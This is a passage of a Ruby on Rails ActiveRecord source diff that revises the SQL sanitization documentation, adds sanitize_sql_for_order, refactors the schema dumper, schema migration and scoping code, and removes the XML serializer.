SQL conditions and sanitizes # them into a valid SQL fragment for a SET clause. - # { name: nil, group_id: 4 } returns "name = NULL , group_id='4'" + # + # sanitize_sql_for_assignment(["name=? and group_id=?", nil, 4]) + # # => "name=NULL and group_id=4" + # + # sanitize_sql_for_assignment(["name=:name and group_id=:group_id", name: nil, group_id: 4]) + # # => "name=NULL and group_id=4" + # + # Post.send(:sanitize_sql_for_assignment, { name: nil, group_id: 4 }) + # # => "`posts`.`name` = NULL, `posts`.`group_id` = 4" + # + # sanitize_sql_for_assignment("name=NULL and group_id='4'") + # # => "name=NULL and group_id='4'" def sanitize_sql_for_assignment(assignments, default_table_name = self.table_name) case assignments when Array; sanitize_sql_array(assignments) @@ -39,17 +59,37 @@ module ActiveRecord end end + # Accepts an array, or string of SQL conditions and sanitizes + # them into a valid SQL fragment for an ORDER clause. + # + # sanitize_sql_for_order(["field(id, ?)", [1,3,2]]) + # # => "field(id, 1,3,2)" + # + # sanitize_sql_for_order("id ASC") + # # => "id ASC" + def sanitize_sql_for_order(condition) + if condition.is_a?(Array) && condition.first.to_s.include?('?') + sanitize_sql_array(condition) + else + condition + end + end + # Accepts a hash of SQL conditions and replaces those attributes - # that correspond to a +composed_of+ relationship with their expanded - # aggregate attribute values. + # that correspond to a {#composed_of}[rdoc-ref:Aggregations::ClassMethods#composed_of] + # relationship with their expanded aggregate attribute values. + # # Given: - # class Person < ActiveRecord::Base - # composed_of :address, class_name: "Address", - # mapping: [%w(address_street street), %w(address_city city)] - # end + # + # class Person < ActiveRecord::Base + # composed_of :address, class_name: "Address", + # mapping: [%w(address_street street), %w(address_city city)] + # end + # # Then: - # { address: Address.new("813 abc st.", "chicago") } - # # => { address_street: "813 abc st.", address_city: "chicago" } + # + # { address: Address.new("813 abc st.", "chicago") } + # # => { address_street: "813 abc st.", address_city: "chicago" } def expand_hash_conditions_for_aggregates(attrs) expanded_attrs = {} attrs.each do |attr, value| @@ -70,8 +110,9 @@ module ActiveRecord end # Sanitizes a hash of attribute/value pairs into SQL conditions for a SET clause. - # { status: nil, group_id: 1 } - # # => "status = NULL , group_id = 1" + # + # sanitize_sql_hash_for_assignment({ status: nil, group_id: 1 }, "posts") + # # => "`posts`.`status` = NULL, `posts`.`group_id` = 1" def sanitize_sql_hash_for_assignment(attrs, table) c = connection attrs.map do |attr, value| @@ -81,7 +122,19 @@ module ActiveRecord end # Sanitizes a +string+ so that it is safe to use within an SQL - # LIKE statement. This method uses +escape_character+ to escape all occurrences of "\", "_" and "%" + # LIKE statement. This method uses +escape_character+ to escape all occurrences of "\", "_" and "%". + # + # sanitize_sql_like("100%") + # # => "100\\%" + # + # sanitize_sql_like("snake_cased_string") + # # => "snake\\_cased\\_string" + # + # sanitize_sql_like("100%", "!") + # # => "100!%" + # + # sanitize_sql_like("snake_cased_string", "!") + # # => "snake!_cased!_string" def sanitize_sql_like(string, escape_character = "\\") pattern = Regexp.union(escape_character, "%", "_") string.gsub(pattern) { |x| [escape_character, x].join } @@ -89,7 +142,15 @@ module ActiveRecord # Accepts an array of conditions. The array has each value # sanitized and interpolated into the SQL statement. - # ["name='%s' and group_id='%s'", "foo'bar", 4] returns "name='foo''bar' and group_id='4'" + # + # sanitize_sql_array(["name=? and group_id=?", "foo'bar", 4]) + # # => "name='foo''bar' and group_id=4" + # + # sanitize_sql_array(["name=:name and group_id=:group_id", name: "foo'bar", group_id: 4]) + # # => "name='foo''bar' and group_id=4" + # + # sanitize_sql_array(["name='%s' and group_id='%s'", "foo'bar", 4]) + # # => "name='foo''bar' and group_id='4'" def sanitize_sql_array(ary) statement, *values = ary if values.first.is_a?(Hash) && statement =~ /:\w+/ @@ -103,7 +164,7 @@ module ActiveRecord end end - def replace_bind_variables(statement, values) #:nodoc: + def replace_bind_variables(statement, values) # :nodoc: raise_if_bind_arity_mismatch(statement, statement.count('?'), values.size) bound = values.dup c = connection @@ -112,7 +173,7 @@ module ActiveRecord end end - def replace_bind_variable(value, c = connection) #:nodoc: + def replace_bind_variable(value, c = connection) # :nodoc: if ActiveRecord::Relation === value value.to_sql else @@ -120,10 +181,10 @@ module ActiveRecord end end - def replace_named_bind_variables(statement, bind_vars) #:nodoc: - statement.gsub(/(:?):([a-zA-Z]\w*)/) do + def replace_named_bind_variables(statement, bind_vars) # :nodoc: + statement.gsub(/(:?):([a-zA-Z]\w*)/) do |match| if $1 == ':' # skip postgresql casts - $& # return the whole match + match # return the whole match elsif bind_vars.include?(match = $2.to_sym) replace_bind_variable(bind_vars[match]) else @@ -132,7 +193,7 @@ module ActiveRecord end end - def quote_bound_value(value, c = connection) #:nodoc: + def quote_bound_value(value, c = connection) # :nodoc: if value.respond_to?(:map) && !value.acts_like?(:string) if value.respond_to?(:empty?) && value.empty? c.quote(nil) @@ -144,7 +205,7 @@ module ActiveRecord end end - def raise_if_bind_arity_mismatch(statement, expected, provided) #:nodoc: + def raise_if_bind_arity_mismatch(statement, expected, provided) # :nodoc: unless expected == provided raise PreparedStatementInvalid, "wrong number of bind variables (#{provided} for #{expected}) in: #{statement}" end @@ -152,7 +213,7 @@ module ActiveRecord end # TODO: Deprecate this - def quoted_id + def quoted_id # :nodoc: self.class.quote_value(@attributes[self.class.primary_key].value_for_database) end end diff --git a/activerecord/lib/active_record/schema.rb b/activerecord/lib/active_record/schema.rb index 0a5546a760..784a02d2c3 100644 --- a/activerecord/lib/active_record/schema.rb +++ b/activerecord/lib/active_record/schema.rb @@ -1,5 +1,5 @@ module ActiveRecord - # = Active Record Schema + # = Active Record \Schema # # Allows programmers to programmatically define a schema in a portable # DSL. This means you can define tables, indexes, etc. without using SQL @@ -27,29 +27,12 @@ module ActiveRecord # # ActiveRecord::Schema is only supported by database adapters that also # support migrations, the two features being very similar. - class Schema < Migration - - # Returns the migrations paths. - # - # ActiveRecord::Schema.new.migrations_paths - # # => ["db/migrate"] # Rails migration path by default. - def migrations_paths - ActiveRecord::Migrator.migrations_paths - end - - def define(info, &block) # :nodoc: - instance_eval(&block) - - unless info[:version].blank? - initialize_schema_migrations_table - connection.assume_migrated_upto_version(info[:version], migrations_paths) - end - end - + class Schema < Migration::Current # Eval the given block. All methods available to the current connection # adapter are available within the block, so you can easily use the - # database definition DSL to build up your schema (+create_table+, - # +add_index+, etc.). + # database definition DSL to build up your schema ( + # {create_table}[rdoc-ref:ConnectionAdapters::SchemaStatements#create_table], + # {add_index}[rdoc-ref:ConnectionAdapters::SchemaStatements#add_index], etc.). # # The +info+ hash is optional, and if given is used to define metadata # about the current schema (currently, only the schema's version): @@ -60,5 +43,26 @@ module ActiveRecord def self.define(info={}, &block) new.define(info, &block) end + + def define(info, &block) # :nodoc: + instance_eval(&block) + + if info[:version].present? + initialize_schema_migrations_table + connection.assume_migrated_upto_version(info[:version], migrations_paths) + end + + ActiveRecord::InternalMetadata.create_table + ActiveRecord::InternalMetadata[:environment] = ActiveRecord::Migrator.current_environment + end + + private + # Returns the migrations paths. + # + # ActiveRecord::Schema.new.migrations_paths + # # => ["db/migrate"] # Rails migration path by default. + def migrations_paths # :nodoc: + ActiveRecord::Migrator.migrations_paths + end end end diff --git a/activerecord/lib/active_record/schema_dumper.rb b/activerecord/lib/active_record/schema_dumper.rb index da95920571..301718b874 100644 --- a/activerecord/lib/active_record/schema_dumper.rb +++ b/activerecord/lib/active_record/schema_dumper.rb @@ -1,5 +1,4 @@ require 'stringio' -require 'active_support/core_ext/big_decimal' module ActiveRecord # = Active Record Schema Dumper @@ -90,7 +89,7 @@ HEADER end def tables(stream) - sorted_tables = @connection.tables.sort + sorted_tables = @connection.data_sources.sort - @connection.views sorted_tables.each do |table_name| table(table_name, stream) unless ignored?(table_name) @@ -110,24 +109,39 @@ HEADER tbl = StringIO.new # first dump primary key column - pk = @connection.primary_key(table) + if @connection.respond_to?(:primary_keys) + pk = @connection.primary_keys(table) + pk = pk.first unless pk.size > 1 + else + pk = @connection.primary_key(table) + end tbl.print " create_table #{remove_prefix_and_suffix(table).inspect}" - pkcol = columns.detect { |c| c.name == pk } - if pkcol - if pk != 'id' - tbl.print %Q(, primary_key: "#{pk}") - end + + case pk + when String + tbl.print ", primary_key: #{pk.inspect}" unless pk == 'id' + pkcol = columns.detect { |c| c.name == pk } pkcolspec = @connection.column_spec_for_primary_key(pkcol) - if pkcolspec + if pkcolspec.present? pkcolspec.each do |key, value| tbl.print ", #{key}: #{value}" end end + when Array + tbl.print ", primary_key: #{pk.inspect}" else tbl.print ", id: false" end tbl.print ", force: :cascade" + + table_options = @connection.table_options(table) + tbl.print ", options: #{table_options.inspect}" unless table_options.blank? + + if comment = @connection.table_comment(table).presence + tbl.print ", comment: #{comment.inspect}" + end + tbl.puts " do |t|" # then dump all non-primary key columns @@ -165,11 +179,11 @@ HEADER tbl.puts end + indexes_in_create(table, tbl) + tbl.puts " end" tbl.puts - indexes(table, tbl) - tbl.rewind stream.print tbl.read rescue => e @@ -181,26 +195,12 @@ HEADER stream end + # Keep it for indexing materialized views def indexes(table, stream) if (indexes = @connection.indexes(table)).any? add_index_statements = indexes.map do |index| - statement_parts = [ - "add_index #{remove_prefix_and_suffix(index.table).inspect}", - index.columns.inspect, - "name: #{index.name.inspect}", - ] - statement_parts << 'unique: true' if index.unique - - index_lengths = (index.lengths || []).compact - statement_parts << "length: #{Hash[index.columns.zip(index.lengths)].inspect}" if index_lengths.any? - - index_orders = index.orders || {} - statement_parts << "order: #{index.orders.inspect}" if index_orders.any? - statement_parts << "where: #{index.where.inspect}" if index.where - statement_parts << "using: #{index.using.inspect}" if index.using - statement_parts << "type: #{index.type.inspect}" if index.type - - " #{statement_parts.join(', ')}" + table_name = remove_prefix_and_suffix(index.table).inspect + " add_index #{([table_name]+index_parts(index)).join(', ')}" end stream.puts add_index_statements.sort.join("\n") @@ -208,6 +208,34 @@ HEADER end end + def indexes_in_create(table, stream) + if (indexes = @connection.indexes(table)).any? + index_statements = indexes.map do |index| + " t.index #{index_parts(index).join(', ')}" + end + stream.puts index_statements.sort.join("\n") + end + end + + def index_parts(index) + index_parts = [ + index.columns.inspect, + "name: #{index.name.inspect}", + ] + index_parts << 'unique: true' if index.unique + + index_lengths = (index.lengths || []).compact + index_parts << "length: #{Hash[index.columns.zip(index.lengths)].inspect}" if index_lengths.any? + + index_orders = index.orders || {} + index_parts << "order: #{index.orders.inspect}" if index_orders.any? + index_parts << "where: #{index.where.inspect}" if index.where + index_parts << "using: #{index.using.inspect}" if index.using + index_parts << "type: #{index.type.inspect}" if index.type + index_parts << "comment: #{index.comment.inspect}" if index.comment + index_parts + end + def foreign_keys(table, stream) if (foreign_keys = @connection.foreign_keys(table)).any? add_foreign_key_statements = foreign_keys.map do |foreign_key| @@ -243,7 +271,7 @@ HEADER end def ignored?(table_name) - ['schema_migrations', ignore_tables].flatten.any? do |ignored| + [ActiveRecord::Base.schema_migrations_table_name, ActiveRecord::Base.internal_metadata_table_name, ignore_tables].flatten.any? do |ignored| ignored === remove_prefix_and_suffix(table_name) end end diff --git a/activerecord/lib/active_record/schema_migration.rb b/activerecord/lib/active_record/schema_migration.rb index b5038104ac..b6cb233e03 100644 --- a/activerecord/lib/active_record/schema_migration.rb +++ b/activerecord/lib/active_record/schema_migration.rb @@ -1,43 +1,37 @@ require 'active_record/scoping/default' require 'active_record/scoping/named' -require 'active_record/base' module ActiveRecord - class SchemaMigration < ActiveRecord::Base + # This class is used to create a table that keeps track of which migrations + # have been applied to a given database. When a migration is run, its schema + # number is inserted in to the `SchemaMigration.table_name` so it doesn't need + # to be executed the next time. + class SchemaMigration < ActiveRecord::Base # :nodoc: class << self def primary_key - nil + "version" end def table_name "#{table_name_prefix}#{ActiveRecord::Base.schema_migrations_table_name}#{table_name_suffix}" end - def index_name - "#{table_name_prefix}unique_#{ActiveRecord::Base.schema_migrations_table_name}#{table_name_suffix}" - end - def table_exists? - connection.table_exists?(table_name) + ActiveSupport::Deprecation.silence { connection.table_exists?(table_name) } end - def create_table(limit=nil) + def create_table unless table_exists? - version_options = {null: false} - version_options[:limit] = limit if limit + version_options = connection.internal_string_options_for_primary_key connection.create_table(table_name, id: false) do |t| - t.column :version, :string, version_options + t.string :version, version_options end - connection.add_index table_name, :version, unique: true, name: index_name end end def drop_table - if table_exists? - connection.remove_index table_name, name: index_name - connection.drop_table(table_name) - end + connection.drop_table table_name, if_exists: true end def normalize_migration_number(number) diff --git a/activerecord/lib/active_record/scoping.rb b/activerecord/lib/active_record/scoping.rb index f049b658c4..7794af8ca4 100644 --- a/activerecord/lib/active_record/scoping.rb +++ b/activerecord/lib/active_record/scoping.rb @@ -11,11 +11,11 @@ module ActiveRecord module ClassMethods def current_scope #:nodoc: - ScopeRegistry.value_for(:current_scope, self.to_s) + ScopeRegistry.value_for(:current_scope, self) end def current_scope=(scope) #:nodoc: - ScopeRegistry.set_value_for(:current_scope, self.to_s, scope) + ScopeRegistry.set_value_for(:current_scope, self, scope) end # Collects attributes from scopes that should be applied when creating @@ -30,7 +30,7 @@ module ActiveRecord end end - def populate_with_current_scope_attributes + def populate_with_current_scope_attributes # :nodoc: return unless self.class.scope_attributes? self.class.scope_attributes.each do |att,value| @@ -38,7 +38,7 @@ module ActiveRecord end end - def initialize_internals_callback + def initialize_internals_callback # :nodoc: super populate_with_current_scope_attributes end @@ -53,18 +53,18 @@ module ActiveRecord # following code: # # registry = ActiveRecord::Scoping::ScopeRegistry - # registry.set_value_for(:current_scope, "Board", some_new_scope) + # registry.set_value_for(:current_scope, Board, some_new_scope) # # Now when you run: # - # registry.value_for(:current_scope, "Board") + # registry.value_for(:current_scope, Board) # - # You will obtain whatever was defined in +some_new_scope+. The +value_for+ - # and +set_value_for+ methods are delegated to the current +ScopeRegistry+ + # You will obtain whatever was defined in +some_new_scope+. The #value_for + # and #set_value_for methods are delegated to the current ScopeRegistry # object, so the above example code can also be called as: # # ActiveRecord::Scoping::ScopeRegistry.set_value_for(:current_scope, - # "Board", some_new_scope) + # Board, some_new_scope) class ScopeRegistry # :nodoc: extend ActiveSupport::PerThreadRegistry @@ -74,16 +74,22 @@ module ActiveRecord @registry = Hash.new { |hash, key| hash[key] = {} } end - # Obtains the value for a given +scope_name+ and +variable_name+. - def value_for(scope_type, variable_name) + # Obtains the value for a given +scope_type+ and +model+. + def value_for(scope_type, model) raise_invalid_scope_type!(scope_type) - @registry[scope_type][variable_name] + klass = model + base = model.base_class + while klass <= base + value = @registry[scope_type][klass.name] + return value if value + klass = klass.superclass + end end - # Sets the +value+ for a given +scope_type+ and +variable_name+. - def set_value_for(scope_type, variable_name, value) + # Sets the +value+ for a given +scope_type+ and +model+. + def set_value_for(scope_type, model, value) raise_invalid_scope_type!(scope_type) - @registry[scope_type][variable_name] = value + @registry[scope_type][model.name] = value end private diff --git a/activerecord/lib/active_record/scoping/default.rb b/activerecord/lib/active_record/scoping/default.rb index 5ec2c88b47..9eab59ac78 100644 --- a/activerecord/lib/active_record/scoping/default.rb +++ b/activerecord/lib/active_record/scoping/default.rb @@ -6,8 +6,10 @@ module ActiveRecord included do # Stores the default scope for the class. class_attribute :default_scopes, instance_writer: false, instance_predicate: false + class_attribute :default_scope_override, instance_writer: false, instance_predicate: false self.default_scopes = [] + self.default_scope_override = nil end module ClassMethods @@ -15,7 +17,7 @@ module ActiveRecord # # class Post < ActiveRecord::Base # def self.default_scope - # where published: true + # where(published: true) # end # end # @@ -35,7 +37,7 @@ module ActiveRecord # Are there attributes associated with this scope? def scope_attributes? # :nodoc: - super || default_scopes.any? + super || default_scopes.any? || respond_to?(:default_scope) end def before_remove_const #:nodoc: @@ -53,7 +55,7 @@ module ActiveRecord # # Article.all # => SELECT * FROM articles WHERE published = true # - # The +default_scope+ is also applied while creating/building a record. + # The #default_scope is also applied while creating/building a record. # It is not applied while updating a record. # # Article.new.published # => true @@ -63,7 +65,7 @@ module ActiveRecord # +default_scope+ macro, and it will be called when building the # default scope.) # - # If you use multiple +default_scope+ declarations in your model then + # If you use multiple #default_scope declarations in your model then # they will be merged together: # # class Article < ActiveRecord::Base @@ -74,7 +76,7 @@ module ActiveRecord # Article.all # => SELECT * FROM articles WHERE published = true AND rating = 'G' # # This is also the case with inheritance and module includes where the - # parent or module defines a +default_scope+ and the child or including + # parent or module defines a #default_scope and the child or including # class defines a second one. # # If you need to do more complex things with a default scope, you can @@ -99,25 +101,33 @@ module ActiveRecord self.default_scopes += [scope] end - def build_default_scope(base_rel = relation) # :nodoc: - if !Base.is_a?(method(:default_scope).owner) + def build_default_scope(base_rel = nil) # :nodoc: + return if abstract_class? + + if self.default_scope_override.nil? + self.default_scope_override = !Base.is_a?(method(:default_scope).owner) + end + + if self.default_scope_override # The user has defined their own default scope method, so call that evaluate_default_scope { default_scope } elsif default_scopes.any? + base_rel ||= relation evaluate_default_scope do default_scopes.inject(base_rel) do |default_scope, scope| - default_scope.merge(base_rel.scoping { scope.call }) + scope = scope.respond_to?(:to_proc) ? scope : scope.method(:call) + default_scope.merge(base_rel.instance_exec(&scope)) end end end end def ignore_default_scope? # :nodoc: - ScopeRegistry.value_for(:ignore_default_scope, self) + ScopeRegistry.value_for(:ignore_default_scope, base_class) end def ignore_default_scope=(ignore) # :nodoc: - ScopeRegistry.set_value_for(:ignore_default_scope, self, ignore) + ScopeRegistry.set_value_for(:ignore_default_scope, base_class, ignore) end # The ignore_default_scope flag is used to prevent an infinite recursion diff --git a/activerecord/lib/active_record/scoping/named.rb b/activerecord/lib/active_record/scoping/named.rb index 7b62626896..5395bd6076 100644 --- a/activerecord/lib/active_record/scoping/named.rb +++ b/activerecord/lib/active_record/scoping/named.rb @@ -9,7 +9,7 @@ module ActiveRecord extend ActiveSupport::Concern module ClassMethods - # Returns an <tt>ActiveRecord::Relation</tt> scope object. + # Returns an ActiveRecord::Relation scope object. # # posts = Post.all # posts.size # Fires "select count(*) from posts" and returns the count @@ -20,7 +20,7 @@ module ActiveRecord # fruits = fruits.limit(10) if limited? # # You can define a scope that applies to all finders using - # <tt>ActiveRecord::Base.default_scope</tt>. + # {default_scope}[rdoc-ref:Scoping::Default::ClassMethods#default_scope]. def all if current_scope current_scope.clone @@ -39,8 +39,13 @@ module ActiveRecord end end - # Adds a class method for retrieving and querying objects. A \scope - # represents a narrowing of a database query, such as + # Adds a class method for retrieving and querying objects. + # The method is intended to return an ActiveRecord::Relation + # object, which is composable with other scopes. + # If it returns nil or false, an + # {all}[rdoc-ref:Scoping::Named::ClassMethods#all] scope is returned instead. + # + # A \scope represents a narrowing of a database query, such as # <tt>where(color: :red).select('shirts.*').includes(:washing_instructions)</tt>. # # class Shirt < ActiveRecord::Base @@ -48,12 +53,12 @@ module ActiveRecord # scope :dry_clean_only, -> { joins(:washing_instructions).where('washing_instructions.dry_clean_only = ?', true) } # end # - # The above calls to +scope+ define class methods <tt>Shirt.red</tt> and + # The above calls to #scope define class methods <tt>Shirt.red</tt> and # <tt>Shirt.dry_clean_only</tt>. <tt>Shirt.red</tt>, in effect, # represents the query <tt>Shirt.where(color: 'red')</tt>. # # You should always pass a callable object to the scopes defined - # with +scope+. This ensures that the scope is re-evaluated each + # with #scope. This ensures that the scope is re-evaluated each # time it is called. # # Note that this is simply 'syntactic sugar' for defining an actual @@ -66,14 +71,15 @@ module ActiveRecord # end # # Unlike <tt>Shirt.find(...)</tt>, however, the object returned by - # <tt>Shirt.red</tt> is not an Array; it resembles the association object - # constructed by a +has_many+ declaration. For instance, you can invoke - # <tt>Shirt.red.first</tt>, <tt>Shirt.red.count</tt>, + # <tt>Shirt.red</tt> is not an Array but an ActiveRecord::Relation, + # which is composable with other scopes; it resembles the association object + # constructed by a {has_many}[rdoc-ref:Associations::ClassMethods#has_many] + # declaration. For instance, you can invoke <tt>Shirt.red.first</tt>, <tt>Shirt.red.count</tt>, # <tt>Shirt.red.where(size: 'small')</tt>. Also, just as with the # association objects, named \scopes act like an Array, implementing # Enumerable; <tt>Shirt.red.each(&block)</tt>, <tt>Shirt.red.first</tt>, # and <tt>Shirt.red.inject(memo, &block)</tt> all behave as if - # <tt>Shirt.red</tt> really was an Array. + # <tt>Shirt.red</tt> really was an array. # # These named \scopes are composable. For instance, # <tt>Shirt.red.dry_clean_only</tt> will produce all shirts that are @@ -84,7 +90,8 @@ module ActiveRecord # # All scopes are available as class methods on the ActiveRecord::Base # descendant upon which the \scopes were defined. But they are also - # available to +has_many+ associations. If, + # available to {has_many}[rdoc-ref:Associations::ClassMethods#has_many] + # associations. If, # # class Person < ActiveRecord::Base # has_many :shirts @@ -93,8 +100,8 @@ module ActiveRecord # then <tt>elton.shirts.red.dry_clean_only</tt> will return all of # Elton's red, dry clean only shirts. # - # \Named scopes can also have extensions, just as with +has_many+ - # declarations: + # \Named scopes can also have extensions, just as with + # {has_many}[rdoc-ref:Associations::ClassMethods#has_many] declarations: # # class Shirt < ActiveRecord::Base # scope :red, -> { where(color: 'red') } do @@ -144,6 +151,7 @@ module ActiveRecord "a class method with the same name." end + valid_scope_name?(name) extension = Module.new(&block) if block if body.respond_to?(:to_proc) @@ -162,6 +170,15 @@ module ActiveRecord end end end + + protected + + def valid_scope_name?(name) + if respond_to?(name, true) + logger.warn "Creating scope :#{name}. " \ + "Overwriting existing method #{self.name}.#{name}." + end + end end end end diff --git a/activerecord/lib/active_record/secure_token.rb b/activerecord/lib/active_record/secure_token.rb index a3023a0cb4..8abda2ac49 100644 --- a/activerecord/lib/active_record/secure_token.rb +++ b/activerecord/lib/active_record/secure_token.rb @@ -3,7 +3,7 @@ module ActiveRecord extend ActiveSupport::Concern module ClassMethods - # Example using has_secure_token + # Example using #has_secure_token # # # Schema: User(token:string, auth_token:string) # class User < ActiveRecord::Base @@ -13,16 +13,16 @@ module ActiveRecord # # user = User.new # user.save - # user.token # => "4kUgL2pdQMSCQtjE" + # user.token # => "pX27zsMN2ViQKta1bGfLmVJE" # user.auth_token # => "77TMHrHJFvFDwodq8w7Ev2m7" # user.regenerate_token # => true # user.regenerate_auth_token # => true # - # SecureRandom::base58 is used to generate the 24-character unique token, so collisions are highly unlikely. + # <tt>SecureRandom::base58</tt> is used to generate the 24-character unique token, so collisions are highly unlikely. # # Note that it's still possible to generate a race condition in the database in the same way that - # <tt>validates_uniqueness_of</tt> can. You're encouraged to add a unique index in the database to deal - # with this even more unlikely scenario. + # {validates_uniqueness_of}[rdoc-ref:Validations::ClassMethods#validates_uniqueness_of] can. + # You're encouraged to add a unique index in the database to deal with this even more unlikely scenario. def has_secure_token(attribute = :token) # Load securerandom only when has_secure_token is used. require 'active_support/core_ext/securerandom' diff --git a/activerecord/lib/active_record/serialization.rb b/activerecord/lib/active_record/serialization.rb index 48c12dcf9f..5a408e7b8e 100644 --- a/activerecord/lib/active_record/serialization.rb +++ b/activerecord/lib/active_record/serialization.rb @@ -1,5 +1,5 @@ module ActiveRecord #:nodoc: - # = Active Record Serialization + # = Active Record \Serialization module Serialization extend ActiveSupport::Concern include ActiveModel::Serializers::JSON @@ -18,5 +18,3 @@ module ActiveRecord #:nodoc: end end end - -require 'active_record/serializers/xml_serializer' diff --git a/activerecord/lib/active_record/serializers/xml_serializer.rb b/activerecord/lib/active_record/serializers/xml_serializer.rb deleted file mode 100644 index 89b7e0be82..0000000000 --- a/activerecord/lib/active_record/serializers/xml_serializer.rb +++ /dev/null @@ -1,193 +0,0 @@ -require 'active_support/core_ext/hash/conversions' - -module ActiveRecord #:nodoc: - module Serialization - include ActiveModel::Serializers::Xml - - # Builds an XML document to represent the model. Some configuration is - # available through +options+. However more complicated cases should - # override ActiveRecord::Base#to_xml. - # - # By default the generated XML document will include the processing - # instruction and all the object's attributes. For example: - # - # <?xml version="1.0" encoding="UTF-8"?> - # <topic> - # <title>The First Topic</title> - # <author-name>David</author-name> - # <id type="integer">1</id> - # <approved type="boolean">false</approved> - # <replies-count type="integer">0</replies-count> - # <bonus-time type="dateTime">2000-01-01T08:28:00+12:00</bonus-time> - # <written-on type="dateTime">2003-07-16T09:28:00+1200</written-on> - # <content>Have a nice day</content> - # <author-email-address>david@loudthinking.com</author-email-address> - # <parent-id></parent-id> - # <last-read type="date">2004-04-15</last-read> - # </topic> - # - # This behavior can be controlled with <tt>:only</tt>, <tt>:except</tt>, - # <tt>:skip_instruct</tt>, <tt>:skip_types</tt>, <tt>:dasherize</tt> and <tt>:camelize</tt> . - # The <tt>:only</tt> and <tt>:except</tt> options are the same as for the - # +attributes+ method. The default is to dasherize all column names, but you - # can disable this setting <tt>:dasherize</tt> to +false+. Setting <tt>:camelize</tt> - # to +true+ will camelize all column names - this also overrides <tt>:dasherize</tt>. - # To not have the column type included in the XML output set <tt>:skip_types</tt> to +true+. - # - # For instance: - # - # topic.to_xml(skip_instruct: true, except: [ :id, :bonus_time, :written_on, :replies_count ]) - # - # <topic> - # <title>The First Topic</title> - # <author-name>David</author-name> - # <approved type="boolean">false</approved> - # <content>Have a nice day</content> - # <author-email-address>david@loudthinking.com</author-email-address> - # <parent-id></parent-id> - # <last-read type="date">2004-04-15</last-read> - # </topic> - # - # To include first level associations use <tt>:include</tt>: - # - # firm.to_xml include: [ :account, :clients ] - # - # <?xml version="1.0" encoding="UTF-8"?> - # <firm> - # <id type="integer">1</id> - # <rating type="integer">1</rating> - # <name>37signals</name> - # <clients type="array"> - # <client> - # <rating type="integer">1</rating> - # <name>Summit</name> - # </client> - # <client> - # <rating type="integer">1</rating> - # <name>Microsoft</name> - # </client> - # </clients> - # <account> - # <id type="integer">1</id> - # <credit-limit type="integer">50</credit-limit> - # </account> - # </firm> - # - # Additionally, the record being serialized will be passed to a Proc's second - # parameter. This allows for ad hoc additions to the resultant document that - # incorporate the context of the record being serialized. And by leveraging the - # closure created by a Proc, to_xml can be used to add elements that normally fall - # outside of the scope of the model -- for example, generating and appending URLs - # associated with models. - # - # proc = Proc.new { |options, record| options[:builder].tag!('name-reverse', record.name.reverse) } - # firm.to_xml procs: [ proc ] - # - # <firm> - # # ... normal attributes as shown above ... - # <name-reverse>slangis73</name-reverse> - # </firm> - # - # To include deeper levels of associations pass a hash like this: - # - # firm.to_xml include: {account: {}, clients: {include: :address}} - # <?xml version="1.0" encoding="UTF-8"?> - # <firm> - # <id type="integer">1</id> - # <rating type="integer">1</rating> - # <name>37signals</name> - # <clients type="array"> - # <client> - # <rating type="integer">1</rating> - # <name>Summit</name> - # <address> - # ... - # </address> - # </client> - # <client> - # <rating type="integer">1</rating> - # <name>Microsoft</name> - # <address> - # ... - # </address> - # </client> - # </clients> - # <account> - # <id type="integer">1</id> - # <credit-limit type="integer">50</credit-limit> - # </account> - # </firm> - # - # To include any methods on the model being called use <tt>:methods</tt>: - # - # firm.to_xml methods: [ :calculated_earnings, :real_earnings ] - # - # <firm> - # # ... normal attributes as shown above ... - # <calculated-earnings>100000000000000000</calculated-earnings> - # <real-earnings>5</real-earnings> - # </firm> - # - # To call any additional Procs use <tt>:procs</tt>. The Procs are passed a - # modified version of the options hash that was given to +to_xml+: - # - # proc = Proc.new { |options| options[:builder].tag!('abc', 'def') } - # firm.to_xml procs: [ proc ] - # - # <firm> - # # ... normal attributes as shown above ... - # <abc>def</abc> - # </firm> - # - # Alternatively, you can yield the builder object as part of the +to_xml+ call: - # - # firm.to_xml do |xml| - # xml.creator do - # xml.first_name "David" - # xml.last_name "Heinemeier Hansson" - # end - # end - # - # <firm> - # # ... normal attributes as shown above ... - # <creator> - # <first_name>David</first_name> - # <last_name>Heinemeier Hansson</last_name> - # </creator> - # </firm> - # - # As noted above, you may override +to_xml+ in your ActiveRecord::Base - # subclasses to have complete control about what's generated. The general - # form of doing this is: - # - # class IHaveMyOwnXML < ActiveRecord::Base - # def to_xml(options = {}) - # require 'builder' - # options[:indent] ||= 2 - # xml = options[:builder] ||= ::Builder::XmlMarkup.new(indent: options[:indent]) - # xml.instruct! unless options[:skip_instruct] - # xml.level_one do - # xml.tag!(:second_level, 'content') - # end - # end - # end - def to_xml(options = {}, &block) - XmlSerializer.new(self, options).serialize(&block) - end - end - - class XmlSerializer < ActiveModel::Serializers::Xml::Serializer #:nodoc: - class Attribute < ActiveModel::Serializers::Xml::Serializer::Attribute #:nodoc: - def compute_type - klass = @serializable.class - cast_type = klass.type_for_attribute(name) - - type = ActiveSupport::XmlMini::TYPE_NAMES[value.class.name] || cast_type.type - - { :text => :string, - :time => :datetime }[type] || type - end - protected :compute_type - end - end -end diff --git a/activerecord/lib/active_record/statement_cache.rb b/activerecord/lib/active_record/statement_cache.rb index 95986c820c..6c896ccea6 100644 --- a/activerecord/lib/active_record/statement_cache.rb +++ b/activerecord/lib/active_record/statement_cache.rb @@ -7,12 +7,14 @@ module ActiveRecord # Book.where(name: "my book").where("author_id > 3") # end # - # The cached statement is executed by using the +execute+ method: + # The cached statement is executed by using the + # [connection.execute]{rdoc-ref:ConnectionAdapters::DatabaseStatements#execute} method: # # cache.execute([], Book, Book.connection) # - # The relation returned by the block is cached, and for each +execute+ call the cached relation gets duped. - # Database is queried when +to_a+ is called on the relation. + # The relation returned by the block is cached, and for each + # [execute]{rdoc-ref:ConnectionAdapters::DatabaseStatements#execute} + # call the cached relation gets duped. Database is queried when +to_a+ is called on the relation. # # If you want to cache the statement without the values you can use the +bind+ method of the # block parameter. @@ -104,7 +106,7 @@ module ActiveRecord sql = query_builder.sql_for bind_values, connection - klass.find_by_sql sql, bind_values + klass.find_by_sql(sql, bind_values, preparable: true) end alias :call :execute end diff --git a/activerecord/lib/active_record/store.rb b/activerecord/lib/active_record/store.rb index 919bc58ba5..1b407f7702 100644 --- a/activerecord/lib/active_record/store.rb +++ b/activerecord/lib/active_record/store.rb @@ -16,7 +16,8 @@ module ActiveRecord # JSON, YAML, Marshal are supported out of the box. Generally it can be any wrapper that provides +load+ and +dump+. # # NOTE: If you are using PostgreSQL specific columns 